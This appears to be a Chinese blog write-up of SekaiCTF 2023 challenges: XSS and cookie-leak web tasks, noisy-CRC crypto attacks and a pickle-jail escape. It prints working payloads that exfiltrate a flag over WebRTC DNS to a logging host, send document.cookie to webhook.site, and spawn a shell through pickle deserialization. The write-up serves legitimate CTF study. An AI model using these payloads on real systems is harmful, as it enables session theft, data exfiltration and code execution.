廢文集中區

SekaiCTF 2023 WriteUps

發表於
分類於 CTF
English

這次在 ${CyStick} 中參加這場並獲得第四名，主要解了 Web 和 Crypto 的幾題，和一題 Pyjail。

Web

Golf Jail

題目很簡單:

<?php
    header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
    header("Cross-Origin-Opener-Policy: same-origin");

    $payload = "🚩🚩🚩";
    if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
        $payload = $_GET["xss"];
    }

    $flag = "SEKAI{test_flag}";
    if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
        $flag = $_COOKIE["flag"];
    }
?>
<!DOCTYPE html>
<html>
    <body>
        <iframe
            sandbox="allow-scripts"
            srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
        ></iframe>
    </body>
</html>

簡單來說是在 sandboxed iframe 中可以任意 xss，但長度限制 30 而已，然後還要想辦法繞過限制把 flag 傳出去。

前面是隊友找出利用 eval baseURI 可以達成任意 xss，這部分是因為 inline event handler 的 scope 包含了當前 element 的所有 attribute (相當於 with(element) { ... })，所以 <svg/onload=eval('`'+baseURI)> 可以達成任意 xss。url 部分就湊一些字元就行。

接下來拿 flag 的部分因為那個註解不在 <html> (document.documentElement) 之中，所以比較難拿。隊友有找出 document.childNodes[0].nodeValue.trim() 就能拿到了。

之後因為 csp 和 sandbox 限制我們沒辦法用正常方法 (fetch, redirect, open) 把 flag 向外送出，不過瀏覽器的 WebRTC 這個功能其實是可以拿來利用，對外送出 DNS 請求的。(Ref #1, #2)

具體大概像這樣:

pc = new RTCPeerConnection({iceServers: [{'url': 'stun:f82kndi.q.dnsl0g.net:19302'}]})
pc.createDataChannel('d')
pc.setLocalDescription()

最後把全部串起來就行:

https://golfjail.chals.sekai.team/?`;d=new[window.URL][0](document.body.baseURI).searchParams.get(`h`);console.log(d);eval(d)//&xss=%3Csvg/onload=eval(%27%60%27%2bbaseURI)%3E&h=console.log(123);pc%20=%20new%20RTCPeerConnection({iceServers:%20[{%27url%27:%20%27stun:%27%2B[...document.childNodes[0].nodeValue.trim()].map(c=%3Ec.charCodeAt(0)).map(c=%3Ec.toString(16).padStart(2,%270%27)).join(%27%27).slice(60,80)%2B%27.o4ns16y.q.dnsl0g.net:19302%27,}]});pc.createDataChannel(%27d%27);pc.setLocalDescription();

實際上要運用因為 DNS 的限制不分大小寫，我先把 flag 轉成 hex，之後因為長度問題所以再分段 leak。

Flag: SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}

Leakless Note

我這題是用 100% Unintended 的解法解的。主要是這場 CTF 好幾個 web 題都共用同個 ip，而這題的 https://leaklessnote.chals.sekai.team/ 和另一題 http://chunky.chals.sekai.team:8080 (Chunky) 也是其中之一，經過一些測試發現我居然可以透過 http://leaklessnote.chals.sekai.team:8080 存取 Chunky 的服務。而 Chunky 這個題目又有個很簡單的 XSS，那我能做什麼呢?

首先 http://leaklessnote.chals.sekai.team:8080 和 https://leaklessnote.chals.sekai.team/ 因為 scheme 不同所以既非 Same-Site 也非 Same-Origin，所以沒辦法使用 XSS 去 embed iframe 時不會送 cookie (非 Same-Site)，用 window.open 打開也不能直接操作 (非 Same-Origin)，所以我一開始沒想到這能怎麼用。

過了很久之後我發現到 https://leaklessnote.chals.sekai.team/ 的 cookie 是 php 預測的 session_start() (即 PHPSESSID)，而它預設情況下既沒 Secure 也沒 HttpOnly，而 cookie 又是不分 port，因此我是能在 http://leaklessnote.chals.sekai.team:8080 透過 document.cookie 讀到 PHPSESSID 的 XDDDDD。

最後就直接在 Chunky 那題弄 XSS:

<script>(new Image).src='https://webhook.site/597070cc-00d3-44eb-adc1-c6fd3443170b?'+document.cookie</script>

然後讓 Leakless Note 的 Admin Bot 瀏覽 http://leaklessnote.chals.sekai.team:8080/path/to/xss/... 就行了。

Flag: SEKAI{opleakerorz}

Crypto

Noisy CRC

import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

from flag import FLAG

def getCRC16(msg, gen_poly):
	assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
	msglen = msg.bit_length()

	msg <<= 16
	for i in range(msglen - 1, -1, -1):
		if (msg >> (i + 16)) & 1:
			msg ^= (gen_poly << i)

	return msg

def oracle(secret, gen_poly):
	res = [secrets.randbits(16) for _ in range(3)] 
	res[secrets.randbelow(3)] = getCRC16(secret, gen_poly)
	return res


def main():
	key = secrets.randbits(512)
	cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
	enc_flag = cipher.encrypt(FLAG)
	print(f"Encrypted flag: {enc_flag.hex()}")

	used = set({})

	while True:
		gen_poly = int(input("Give me your generator polynomial: "))
		assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16

		if gen_poly in used:
			print("No cheating")
			exit(1)

		used.add(gen_poly)

		print(oracle(key, gen_poly))

main()

這題的 CRC 很簡單，就是 x16Mmod  Gx^{16} M \mod{G}，其中 GG 是 gen_poly 而 MM 是 msg。而 oracle 是可以讓你指定一個 GG 之後計算 CRC⁡(M,G)\operatorname{CRC}(M,G) 後和另外兩個未知的值混在一起回傳，所以這個 CRC oracle 是 noisy 的。

如果可以重複使用同個 GG 去 query 的話，那找兩次的交集就能得到正確的 CRC⁡(M,G)\operatorname{CRC}(M,G)，而它只要乘 x−16x^{-16} (假設可逆) 就能得到 Mmod  GM \mod{G}。因此蒐集夠多的 CRC⁡(M,Gi),Gi\operatorname{CRC}(M,G_i),G_i 之後 CRT 就能得到 MM。然而這邊禁止重複使用了 GG，怎麼辦呢?

預期做法是利用它沒檢查 GG 是 primitive polynomial 的特性，可以選個 primitive 的 ff，然後送 g1fg_1f 和 g2fg_2f，那之後把拿回來的 reduce 回 modulo ff 再取交集就能得到 Mmod  fM \mod f 了。

不過我不是這麼解的，而是直接只考慮 GG 是 primitive polynomial 的狀況。此時我們知道 Mmod  GiM \mod G_i 都有三個可能，記為 ri,1,ri,2,ri,3r_{i,1}, r_{i,2}, r_{i,3}，這個叫 Noisy CRT。

我們知道 CRT 到最後其實都是線性組合，所以可以先只根據 GiG_i 算出一個係數 TiT_i 為:

Ti≡1(modni)Ti≡0(modnj≠i)\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

那麼就有

M≡∑iTi(∑j=13ai,jri,j)(modL)M \equiv \sum_i T_i (\sum_{j=1}^{3} a_{i,j} r_{i,j}) \pmod{L}

其中 L=lcm⁡(Gi)L=\operatorname{lcm}(G_i)，而 ai,ja_{i,j} 只會是 0,10,1，代表哪個是正確的 Mmod  GiM \mod{G_i} 的值。所以把這個展開就變成類似 subset sum 的問題，而這邊的每個元素都是 F2\mathbb{F}_2 的多項式，所以可以化為矩陣。

以這題來說如果我們做了 nn 個 query，那就能得到一個大矩陣 AA 大小為 3n×16n3n \times 16n，且存在某個 vector s⃗\vec{s} 使得 s⃗A=k⃗\vec{s}A=\vec{k}，這邊 k⃗\vec{k} 是我們的 key，也就是前面的 MM。

因為 key 只有 512 bit，以我 lsb 放左邊的寫法代表 k⃗\vec{k} 第 512 維之後都是 00，因此我們可以取 AA 512 columns 之後部分的 left kernel，保證 s⃗\vec{s} 存在於這個 kernel 中。

為了要求 k⃗\vec{k}，自然會希望 kernel dimension 很小，經過測試發現 nn 越大 kernel dimension 越小，而 n≥40n \geq 40 可以讓 kernel dimension 只有 1，這樣就能確定唯一的 s⃗\vec{s}，由此得到 k⃗\vec{k} 解密 flag。

而這個 n=40n=40 也不是隨便的數字，而是 16n−512>3n16n-512 > 3n 的最小正整數，可最大化 slice 過的 AA 的 rank。

下面 code 中的 mat 就是 AA，而 sol 就是 s⃗\vec{s}:

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


def get_polys(extra):
    polys = set()
    while len(polys) < 512 // 16 + extra:
        while True:
            f = R.random_element(16)
            if f.is_irreducible():
                polys.add(f)
                break
    return list(polys)


extra = 8
polys = get_polys(extra)
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3005)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])
sol = mat[:, -16 * extra :].left_kernel_matrix()[0]
key = bv2int(sol * mat)
cipher = AES.new(
    sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
)
print(cipher.decrypt(enc_flag))
# SEKAI{CrCrCRcRCRcrcrcRCrCrC}

Noisier CRC

import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

from flag import FLAG

isIrreducible = [True for i in range(1 << 17)]

def init():
	for f in range(2, 1 << 17):
		if isIrreducible[f]:
			ls = [0] # store all multiples of polynomial `f`
			cur_term = f
			while cur_term < (1 << 17):
				ls = ls + [x ^ cur_term for x in ls]
				cur_term <<= 1

			for g in ls[2:]:  # the first two terms are 0, f respectively
				isIrreducible[g] = False

def getCRC16(msg, gen_poly):
	assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
	msglen = msg.bit_length()

	msg <<= 16
	for i in range(msglen - 1, -1, -1):
		if (msg >> (i + 16)) & 1:
			msg ^= (gen_poly << i)

	return msg

def oracle(secret, gen_poly):
	l = int(13.37)
	res = [secrets.randbits(16) for _ in range(l)] 
	res[secrets.randbelow(l)] = getCRC16(secret, gen_poly)
	return res


def main():
	init()  # build table of irreducible polynomials

	key = secrets.randbits(512)
	cipher = AES.new(sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678")
	enc_flag = cipher.encrypt(FLAG)
	print(f"Encrypted flag: {enc_flag.hex()}")

	used = set({})

	for _ in range(int(133.7)):
		gen_poly = int(input("Give me your generator polynomial: "))
		assert (1 << 16) <= gen_poly < (1 << 17)  # check if deg = 16
		if not isIrreducible[gen_poly]:
			print("Invalid polynomial")
			exit(1)

		if gen_poly in used:
			print("No cheating")
			exit(1)

		used.add(gen_poly)

		print(oracle(key, gen_poly))

main()

和前面類似，但這次除了要求 GG 是 primitive 之外，每次 oracle 的回傳值又更加 noisy 了 (12/1312/13)，且只能詢問 133133 次。

用和前面一樣的方法就要先求 16n−512>13n16n-512>13n 的最小正整數，而這邊是 171171，代表至少要 n=171n=171 才能用前面的方法求唯一的解。

在這題只能 n=133n=133 的情況下我測試發現 slice 過的 A (即 mat[:, -16 * extra :]) 的 left kernel (MkM_k) dimensions 是 113113，這正好是 13n−(16n−512)13n-(16n-512) 的值。所以要求 s⃗\vec{s} 的話至少約需要爆破 21332^{133} 次，但這顯然做不到。

這邊有個關鍵是要發現 s⃗\vec{s} 並不是個完全隨機的向量。它代表的含意是

M≡∑iTi(∑j=113ai,jri,j)(modL)M \equiv \sum_i T_i (\sum_{j=1}^{13} a_{i,j} r_{i,j}) \pmod{L}

中的那些 ai,ja_{i,j}，可知它雖然 dimension 是 13n13n，但裡面也只有 nn 個位置是 11，其他都是 00。所以可以隨便選幾個 dimension 猜那個位置為 00，然後再對那個 slice 過的 MkM_k 再求 left kernel，最後拿它乘回來原本的 MkM_k 就可以得到 s⃗\vec{s} 了。

因為前面 kernel dimenion 是 113113 所以也至少要 113113 個才夠，這邊簡單估計一下這樣爆大概是 13 bit，相當可行:

−log⁡2(1213)113≈13-\log_2{(\frac{12}{13})^{113}} \approx 13

不過實際上這麼操作會發現每次 bruteforce 出來的東西都不是唯一的 s⃗\vec{s}，而是 span 出來的一個 subspace，而 s⃗\vec{s} 不大。幸虧那些 subspace dimension 都不高，篩幾個比較小的 subspace 再爆爆看就能求 s⃗\vec{s} 了。

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm
import random


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


isIrreducible = [True for i in range(1 << 17)]


def init():
    for f in range(2, 1 << 17):
        if isIrreducible[f]:
            ls = [0]  # store all multiples of polynomial `f`
            cur_term = f
            while cur_term < (1 << 17):
                ls = ls + [x ^ cur_term for x in ls]
                cur_term <<= 1

            for g in ls[2:]:  # the first two terms are 0, f respectively
                isIrreducible[g] = False


init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]


def get_polys(n):
    start = 15
    return [int2poly(i) for i in irr[start : start + n]]


extra = 133
polys = get_polys(extra)
extra -= 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])

ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions())
# for i in tqdm(
#     itertools.product(range(2), repeat=ker.dimensions()[0]),
#     total=2 ** ker.dimensions()[0],
# ):
#     sol = vector(i) * ker
#     key = bv2int(sol * mat)
#     cipher = AES.new(
#         sha256(long_to_bytes(key)).digest()[:16], AES.MODE_CTR, nonce=b"12345678"
#     )
#     flag = cipher.decrypt(enc_flag)
#     if flag.isascii():
#         print(flag)


# -log((12/13)**113,2).n() ~= 13


def brute(id):
    r = random.Random(secrets.token_bytes(16))
    attempts = 0
    while True:
        attempts += 1
        if attempts % 100 == 0:
            print(id, attempts)
        sidx = []
        for i in range(0, 13 * 113, 13):
            sidx.append(r.choice(range(i, i + 13)))
        sidx = tuple(sidx)
        lk = ker[:, sidx].left_kernel_matrix()
        print(lk.dimensions())
        if lk.dimensions()[0] > 8:
            continue
        sol_space = lk * ker
        for i in itertools.product(range(2), repeat=sol_space.nrows()):
            sol = vector(i) * sol_space
            key = bv2int(sol * mat)
            cipher = AES.new(
                sha256(long_to_bytes(key)).digest()[:16],
                AES.MODE_CTR,
                nonce=b"12345678",
            )
            flag = cipher.decrypt(enc_flag)
            if flag.isascii():
                while True:
                    # to ensure that the flag will not be overwritten by other processes :)
                    print(flag)
                break
        else:
            continue
        break


from concurrent.futures import ProcessPoolExecutor

with ProcessPoolExecutor(max_workers=4) as executor:
    executor.map(brute, range(4))
# SEKAI{4R3_Y0U_cRc_M4s73R?}

後來問了作者 Utaha 才知道 s⃗\vec{s} 的形式其實還帶有更多的資訊在。以我上面構造 AA (mat) 的那個迴圈來說:

arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)

s⃗\vec{s} 如果按照 1313 個 group 一組，可知它每個 group 只會有一個 11 在裡面。所以 s⃗\vec{s} 的形式其實是:

s⃗=b⃗+∑i=112nxivi⃗\vec{s}=\vec{b}+\sum_{i=1}^{12n}x_i\vec{v_i}

其中那些向量定義為:

b⃗=[1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,⋯ ]v1⃗=[1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]v2⃗=[1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]v3⃗=[1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,⋯ ]⋮v13⃗=[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,⋯ ]v14⃗=[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,⋯ ]⋮\begin{aligned} \vec{b} =&[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, \cdots] \\ \vec{v_1}=&[1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ \vec{v_2}=&[1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ \vec{v_3}=&[1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \cdots] \\ &\vdots \\ \vec{v_{13}}=&[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, \cdots] \\ \vec{v_{14}}=&[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, \cdots] \\ &\vdots \end{aligned}

可以注意到用這個方法定義的 s⃗\vec{s} 是在一個 12n12n 的線性空間，比原本 13n13n 少了一個 nn，這就能填補上面說的 kernel dimension 的問題了。

所以我們這邊定義 A′A' 為 AA 512 column 之後的 submatrix，而 VV 為 viv_i row vectors 組成的矩陣，那麼有

s⃗A′=0s⃗=b⃗+x⃗V(b⃗+x⃗V)A′=0x(VA′)=−b⃗A′\begin{gather*} \vec{s}A'=0 \\ \vec{s}=\vec{b}+\vec{x}V \\ (\vec{b}+\vec{x}V)A'=0 \\ x(VA')=-\vec{b}A' \end{gather*}

所以直接解這個就能求 xx。實際上操作時會發現 VA′VA' 的 left kernel 還是存在，不過 dimension 都不大。雖然我不知道這個原因是什麼，但是直接爆就能求 x⃗\vec{x}，由此求 s⃗,k⃗\vec{s}, \vec{k} 得到 flag。

from sage.all import *
import secrets
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from pwn import process, remote
import ast
import itertools
from tqdm import tqdm, trange
import random


def int2bv(i, n):
    return list(map(int, f"{i:0{n}b}"))[::-1]


def bv2int(bv):
    return sum([int(b) << i for i, b in enumerate(bv)])


R = GF(2)["x"]
x = R.gen()


def int2poly(i):
    return R(int2bv(i, 17))


isIrreducible = [True for i in range(1 << 17)]


def init():
    for f in range(2, 1 << 17):
        if isIrreducible[f]:
            ls = [0]  # store all multiples of polynomial `f`
            cur_term = f
            while cur_term < (1 << 17):
                ls = ls + [x ^ cur_term for x in ls]
                cur_term <<= 1

            for g in ls[2:]:  # the first two terms are 0, f respectively
                isIrreducible[g] = False


init()
irr = [i for i, b in enumerate(isIrreducible) if b and (1 << 16) <= i]


def get_polys(n):
    start = 15
    return [int2poly(i) for i in irr[start : start + n]]


total = 133
polys = get_polys(total)
extra = total - 512 // 16
print(len(polys))
int_polys = [bv2int(f) for f in polys]


# io = process(["python", "chall.py"])
io = remote("chals.sekai.team", 3006)
io.recvuntil(b"flag: ")
enc_flag = bytes.fromhex(io.recvlineS().strip())

io.sendline("\n".join(map(str, int_polys)).encode())

results = []
for G in polys:
    io.recvuntil(b"polynomial: ")
    res = ast.literal_eval(io.recvlineS().strip())
    results.append((G, res))


residues = []
for G, res in results:
    iv = (x**16).inverse_mod(G)
    ress = [iv * int2poly(r) % G for r in res]
    residues.append(ress)

T = [crt([0] * i + [1] + [0] * (len(polys) - i - 1), polys) for i in range(len(polys))]
P = prod(polys)
arr = []
for i in range(len(polys)):
    for res in residues[i]:
        arr.append(T[i] * res % P)
ln = len(polys) * 16
mat = matrix([x.padded_list(ln) for x in arr])

ker = mat[:, -16 * extra :].left_kernel_matrix()
print(ker.dimensions())  # not zero :(

# with Utaha's idea
# sol would be in the form of
#       [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, ...]
# + ? * [1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# + ? * [1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...]
# ...
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, ...]
# + ? * [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, ...]
# ...
# so sol-base would be in 12*133 dim space instead of 13*133 dim space

F = GF(2)
vecs = []
for i in trange(total):
    for j in range(13 - 1):
        v = vector(F, [0] * total * 13)
        v[13 * i] = 1
        v[13 * i + j + 1] = 1
        vecs.append(v)
V = matrix(vecs)
base = vector(F, [0] * total * 13)
for i in range(total):
    base[13 * i] = 1

"""
A'=mat[:, 512:]
sA'=0
s=b+xV
(b+xV)A'=0
x(VA')=-bA'
"""

Ap = mat[:, 512:]
rhs = -base * Ap
lhs = V * Ap
x0 = lhs.solve_left(rhs)
lk = lhs.left_kernel_matrix()
print(lk.dimensions())
for i in itertools.product([0, 1], repeat=lk.nrows()):
    x = x0 + vector(i) * lk
    sol = x * V + base
    key = bv2int(sol * mat)
    cipher = AES.new(
        sha256(long_to_bytes(key)).digest()[:16],
        AES.MODE_CTR,
        nonce=b"12345678",
    )
    flag = cipher.decrypt(enc_flag)
    if flag.isascii():
        print(flag)
        print(i)  # but for a overwhleming majority of cases, this is (0, 0, 0, ...)
        break
# SEKAI{4R3_Y0U_cRc_M4s73R?}

Misc

Just Another Pickle Jail

code 很長的 pickle jail，不想貼也不想解釋 :P

直接丟 exploit:

import sys

sys.path.insert(0, "./Pickora")

from pickora import Compiler
import pickletools

def unary(result_name, fn_name, arg_name):
    return f"""__builtins__['next'] = {fn_name}
up._buffers = {arg_name}
{result_name} = NEXT_BUFFER()
"""

pk = Compiler().compile(
    f"""
from x import Unpickler, __main__, __builtins__, up
BUILD(__main__,__builtins__,None)
from x import getattr, print, vars, dir, object, type, dict, list

{unary('val', 'vars', 'dict')}
BUILD(__main__,val,None)
from x import values as dictvalues

{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import pop as listpop

{unary('val', 'vars', 'list')}
BUILD(__main__,val,None)
from x import reverse as listreverse

{unary('bl', 'dictvalues', '__builtins__')}
{unary('bl', 'list', 'bl')}
{unary('_', 'listreverse', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}
{unary('val', 'listpop', 'bl')}

s = 'object.mgk.nested.__import__("os").system("sh")'
{unary('val', 'val', 's')}
"""
)
print(pk.hex())
# (python gen.py; cat) | nc chals.sekai.team 5077
# SEKAI{Pls_dm_me_your_solution!!!!!_PLS_PLS_PLS_PLS_PLS_PLS_10a429da9dc989a9a30c9d129b8e66abd63749854f80fb23379e5598cba1daaa}